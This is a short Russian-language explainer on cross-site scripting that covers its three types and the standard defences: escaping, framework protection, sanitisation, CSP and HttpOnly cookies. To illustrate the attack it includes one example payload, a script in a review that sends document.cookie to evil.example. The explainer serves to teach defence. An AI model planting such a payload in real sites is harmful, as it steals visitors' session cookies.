XSS (Cross-Site Scripting)

Атака, при которой злоумышленник внедряет на страницу сайта свой JavaScript, и он выполняется в браузерах других посетителей.

XSS (Cross-Site Scripting, межсайтовый скриптинг) — атака, при которой злоумышленник заставляет сайт показать другим пользователям его собственный JavaScript. Браузер жертвы не может отличить этот скрипт от настоящего кода сайта и выполняет его со всеми правами сайта: может прочитать данные на странице, отправить запросы от имени пользователя, подменить форму входа.

Как это происходит

Сайт показывает отзывы посетителей и вставляет их текст в страницу как есть. Злоумышленник оставляет «отзыв»:

Отличный сервис! <script>fetch("https://evil.example/?c=" + document.cookie)</script>

Каждый, кто откроет страницу с отзывами, выполнит скрипт, и злоумышленник получит его cookie — возможно, вместе с сессией входа.

Виды XSS

  • Хранимый — вредоносный код сохраняется в базе (отзыв, комментарий, имя в профиле) и показывается всем. Самый опасный вид.
  • Отраженный — код приходит в параметре ссылки (например, в строке поиска) и сразу выводится в ответе. Жертву заманивают по специально составленной ссылке.
  • В DOM — страница сама вставляет данные из адреса или ввода в DOM небезопасным способом, без участия сервера.

Как защищаться

  • Экранировать вывод. Любые данные пользователя выводятся как текст: символ < превращается в &lt; и показывается, а не исполняется. Экранирование зависит от места вывода: в HTML, в атрибуте, в JavaScript — разные правила.
  • Использовать возможности фреймворков. React и другие современные инструменты экранируют данные автоматически. Опасность появляется там, где эту защиту отключают, например при вставке готового HTML.
  • Очищать HTML. Если пользователям разрешено форматирование, разрешенные теги оставляют, а остальное удаляют специальными библиотеками (например, DOMPurify), а не самописными фильтрами.
  • Политика безопасности контента (CSP). Заголовок, который запрещает браузеру выполнять скрипты не из разрешенных источников. Даже если внедрение случится, скрипт не запустится.
  • Защищать cookie. Флаг HttpOnly не дает скриптам читать cookie сессии; токены доступа вроде JWT не держат там, откуда их достанет любой скрипт.

Почему это важно

XSS — одна из самых распространенных уязвимостей веб-приложений и входит в список главных рисков OWASP Top 10 вместе с SQL-инъекциями. Для личных кабинетов и банковских интерфейсов последствия особенно серьезны: скрипт может совершать действия от имени клиента. Поэтому проверку на XSS включают в код-ревью, автоматическое тестирование и регулярные тесты на проникновение.